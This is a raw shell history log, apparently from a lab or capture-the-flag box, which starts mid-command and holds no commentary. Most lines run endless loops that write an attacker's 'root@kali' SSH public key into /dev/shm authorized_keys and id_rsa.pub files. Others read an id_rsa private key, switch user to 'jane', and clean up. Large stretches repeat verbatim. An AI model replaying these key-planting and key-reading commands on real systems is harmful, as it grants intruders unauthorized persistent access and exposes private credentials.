AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1339  clear
 1340  ls -la 
 1341  rm -r id_rsa.pub 
 1342  clear
 1343  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1344  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/authorized_keys &amp;gt; /dev/null; done
 1345  clear
 1346  ls -la 
 1347  cat id_rsa
 1348  rm -r id_rsa
 1349  ls -la 
 1350  clear
 1351  ls -al 
 1352  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/authorized_keys &amp;gt; /dev/null; done
 1353  ls -al 
 1354  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1355  cd /dev/shm/
 1356  ls -al 
 1357  cd keys/
 1358  ls 
 1359  touch file.txt
 1360  cd ..
 1361  cd /tmp/
 1362  cd t
 1363  cd test/
 1364  touch file.txt
 1365  cd ..
 1366  touch file.txt
 1367  rm -r 
 1368  rm -r file.txt 
 1369  cd t
 1370  cd test/
 1371  ls -al 
 1372  touch file.txt
 1373  cd /dev/shm/
 1374  ls -la 
 1375  cd keys/
 1376  ls 
 1377  cd..
 1378  clear
 1379  ls -al 
 1380  cd ..
 1381  ls -la 
 1382  rm -r keys/
 1383  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1384  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1385  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub &amp;gt; /dev/null; done
 1386  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1387  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1388  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
 1389  ls -la 
 1390  cd keys/
 1391  ls -la 
 1392  cat id_rsa.pub\* 
 1393  clear
 1394  ls a- l
 1395  clear
 1396  ls -la 
 1397  cat id_rsa.pub\* 
 1398  cd..
 1399  cd ..
 1400  clear
 1401  ls -la 
 1402  cd l
 1403  cd keys/
 1404  ls -la 
 1405  rm -r id_rsa.pub\* 
 1406  clear
 1407  ls -la 
 1408  cd ..
 1409  ls -a l
 1410  rm -r keys/
 1411  clear
 1412  ls -al 
 1413  ls -la 
 1414  cd ..
 1415  cd shm/
 1416  ls -la 
 1417  su jane
 1418  clear
 1419  ls -]al 
 1420  clear
 1421  ls -la 
 1422  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm* &amp;gt; /dev/null; done
 1423  clear
 1424  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1425  clear
 1426  ls -la 
 1427  rm -r id_rsa.pub 
 1428  clear
 1429  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1430  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/authorized_keys &amp;gt; /dev/null; done
 1431  clear
 1432  ls -la 
 1433  cat id_rsa
 1434  rm -r id_rsa
 1435  ls -la 
 1436  clear
 1437  ls -al 
 1438  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/authorized_keys &amp;gt; /dev/null; done
 1439  ls 
 1440  clear
 1441  ls -a 
 1442  ls -la 
 1443  cat authorized_keys 
 1444  clear
 1445  ls -la 
 1446  rm -r authorized_keys 
 1447  rm -r id_rsa.pub 
 1448  clear
 1449  ls -la 
 1450  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/authorized_keys &amp;gt; /dev/null; done
 1451  ls -la 
 1452  clear
 1453  ls -la 
 1454  rm -r authorized_keys 
 1455  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1456  clear
 1457  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1458  clear
 1459  ls -la 
 1460  rm --
 1461  rm -r id_rsa.pub 
 1462  ls -al 
 1463  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1464  clear
 1465  ls -al 
 1466  ls -la 
 1467  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/id_rsa.pub &amp;gt; /dev/null; done
 1468  ls -al 
 1469  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys/id_rsa.pub* &amp;gt; /dev/null; done
 1470  cd /dev/shm/
 1471  ls -al 
 1472  cd keys/
 1473  ls 
 1474  touch file.txt
 1475  cd ..
 1476  cd /tmp/
 1477  cd t
 1478  cd test/
 1479  touch file.txt
 1480  cd ..
 1481  touch file.txt
 1482  rm -r 
 1483  rm -r file.txt 
 1484  cd t
 1485  cd test/
 1486  ls -al 
 1487  touch file.txt
 1488  cd /dev/shm/
 1489  ls -la 
 1490  cd keys/
 1491  ls 
 1492  cd..
 1493  clear
 1494  ls -al 
 1495  cd ..
 1496  ls -la 
 1497  rm -r keys/
 1498  while true; do echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCubsM5Q4bRzpK+egPisoOymlHSesA/Ev9vAqzW/eG5DsMwam4HcoU/ERV2bgExwVAcCfX0fMvQ/kaHUTvSGVZrPJkUOG75tY8+TvmdIA4c/KQyFqac0X+0sL4P8Xm8aw8kwHG8z1asVc0Eo69lzhvbF1awXfIHcx3RS1WHKEH3ZBXngjCl/2PbucO55rWMffBvL7fxfvdxKtmZm59cmQfNxY+2+nHVoPKR4OBrVHvQcewBO37RPIDSuNsFvPQTztlQ5ahlNErKkbys+rbDKziI0fJXSD7/6gmlvBsdtTM+9QUrhbvkst0j3HpWT3dT8y9HwTBTLp/B4Ld8LRCXU53Eodb9Yl6pcgojDCnOc5+WvGC4u/Guapvp9qVlzAPgHK1SuWxLr8bsRbqZo+po81yyzpkFVzuJSEbjM9l8StvsQlCMEmso5lpYEP77G0m0jWgpSHzX3RhC5hQ5u/ddm/8e0bcclkx3iskbH0YgUxsYOdB9CHn78npmjfG3KzjJRvU= root@kali&amp;quot; | tee /dev/shm/keys* &amp;gt; /dev/null; done
